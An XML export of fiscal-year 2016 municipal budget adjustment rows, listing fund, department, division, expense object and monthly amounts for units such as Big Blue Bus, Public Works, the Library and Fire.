<row _id="18591"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>652</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>522042.0</object><object_description>RECOVERIES OF PHYSICAL DAMAGE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="18592"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>301764</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>301764</total></row>
<row _id="18593"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>41431</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>41431</total></row>
<row _id="18594"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>544180.0</object><object_description>SMALL TOOLS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>10000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>10000</total></row>
<row _id="18595"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>588200.0</object><object_description>BLDG RENOVATION / MAINTENANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>40000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>40000</total></row>
<row _id="18596"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>5000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5000</total></row>
<row _id="18597"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>5000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5000</total></row>
<row _id="18598"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>10188</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>10188</total></row>
<row _id="18599"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>21025</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>21025</total></row>
<row _id="18600"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>16334</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>16334</total></row>
<row _id="18601"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>850.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>13092</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>13092</total></row>
<row _id="18602"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>143609</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>143609</total></row>
<row _id="18603"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>97200</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>97200</total></row>
<row _id="18604"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>404760.0</object><object_description>RENT/PROP FEES - KEC</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2016</fiscal_year><july>-4600</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-4600</total></row>
<row _id="18605"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1021</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1021</total></row>
<row _id="18606"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>231138</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>231138</total></row>
<row _id="18607"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522120.0</object><object_description>UTILITIES - NATURAL GAS</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>11000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>11000</total></row>
<row _id="18608"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>4560</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4560</total></row>
<row _id="18609"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2850</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2850</total></row>
<row _id="18610"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>8590</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>8590</total></row>
<row _id="18611"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>285</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>285</total></row>
<row _id="18612"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522610.0</object><object_description>EQUIPMENT RENTAL</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>55000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>55000</total></row>
<row _id="18613"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>614</division_id><division_name>INFORMATION MANAGEMENT</division_name><object>544120.0</object><object_description>PERIODICALS</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>84000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>84000</total></row>
<row _id="18614"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>615</division_id><division_name>REFERENCE SERVICES</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>165825</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>165825</total></row>
<row _id="18615"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>615</division_id><division_name>REFERENCE SERVICES</division_name><object>511550.0</object><object_description>LIBRARY PAGES</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>522580</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>522580</total></row>
<row _id="18616"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>616</division_id><division_name>PUBLIC AND BRANCH SERVICES</division_name><object>511550.0</object><object_description>LIBRARY PAGES</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>284345</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>284345</total></row>
<row _id="18617"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>653</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>39336</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>39336</total></row>
<row _id="18618"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>655</division_id><division_name>TRANSIT OPERATIONS</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>430875</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>430875</total></row>
<row _id="18619"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>522150.0</object><object_description>STORMWATER MANAGEMENT</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>5593</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5593</total></row>
<row _id="18620"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>522160.0</object><object_description>TRANSFER STATION FEE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>226</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>226</total></row>
<row _id="18621"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1995</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1995</total></row>
<row _id="18622"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>10000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>10000</total></row>
<row _id="18623"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>95</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>95</total></row>
<row _id="18624"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>19000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>19000</total></row>
<row _id="18625"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>614</division_id><division_name>INFORMATION MANAGEMENT</division_name><object>511550.0</object><object_description>LIBRARY PAGES</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>167149</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>167149</total></row>
<row _id="18626"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>6731</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>6731</total></row>
<row _id="18627"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>108353</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>108353</total></row>
<row _id="18628"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>44007</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>44007</total></row>
<row _id="18629"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object>544040.0</object><object_description>BOOKS / PAMPHLETS</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>4965</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4965</total></row>
<row _id="18630"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>315</division_id><division_name>TRAINING</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>39151</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>39151</total></row>
<row _id="18631"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>315</division_id><division_name>TRAINING</division_name><object>511920.0</object><object_description>UNIFORM / TOOL ALLOWANCE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>3120</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3120</total></row>
<row _id="18632"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>315</division_id><division_name>TRAINING</division_name><object>588070.0</object><object_description>EDUC &amp; RECREATIONAL EQUIPMENT</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>14113</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>14113</total></row>
<row _id="18633"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>100104</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>100104</total></row>
<row _id="18634"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>361056</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>361056</total></row>
<row _id="18635"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>522130.0</object><object_description>UTILITIES - WATER</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>50907</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>50907</total></row>
<row _id="18636"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>401220.0</object><object_description>REC-PARK BUILDING RENTAL</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2016</fiscal_year><july>-156400</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-156400</total></row>
<row _id="18637"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>79506</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>79506</total></row>
<row _id="18638"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>22614</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>22614</total></row>
<row _id="18639"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2755</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2755</total></row>
<row _id="18640"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2755</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2755</total></row>
